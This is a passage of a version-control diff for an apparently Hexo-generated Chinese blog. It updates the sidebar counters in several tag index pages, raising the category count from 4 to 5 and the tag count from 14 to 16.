               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

tags/小米/index.html

@@ -378,7 +378,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

tags/数据库/index.html

@@ -378,7 +378,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

tags/数据挖掘/index.html

@@ -378,7 +378,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

tags/文件格式/index.html

@@ -378,7 +378,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

tags/模型实现/index.html

@@ -378,7 +378,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

tags/自然语言处理/index.html

@@ -378,7 +378,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

tags/访问控制/index.html

@@ -378,7 +378,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>